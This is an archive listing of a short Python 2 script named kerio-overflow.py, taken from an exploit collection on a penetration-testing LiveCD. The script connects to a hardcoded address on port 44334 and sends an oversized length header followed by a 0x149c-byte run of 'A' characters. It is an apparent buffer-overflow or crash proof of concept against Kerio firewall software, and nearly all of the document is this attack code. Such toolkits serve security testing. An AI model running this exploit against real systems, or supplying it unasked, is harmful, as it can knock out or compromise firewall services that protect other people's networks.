home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / firewall / Kerio / kerio-overflow.py < prev    next >
Text File  |  2005-02-12  |  397b  |  24 lines

  1. import os
  2. import socket
  3. import struct
  4. import string
  5.  
  6. def g():
  7.      fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  8.      try:
  9.          fd.connect(('192.168.66.160', 44334))
  10.          fd.recv(10)
  11.          fd.recv(256)
  12.          fd.send(struct.pack('!L', 0x149c))
  13.          astr = 'A'*0x149c
  14.          fd.send(astr)
  15.  
  16.      except Exception, e:
  17.          print e
  18.          pass
  19.  
  20.      fd.close()
  21.  
  22. g()
  23.  
  24.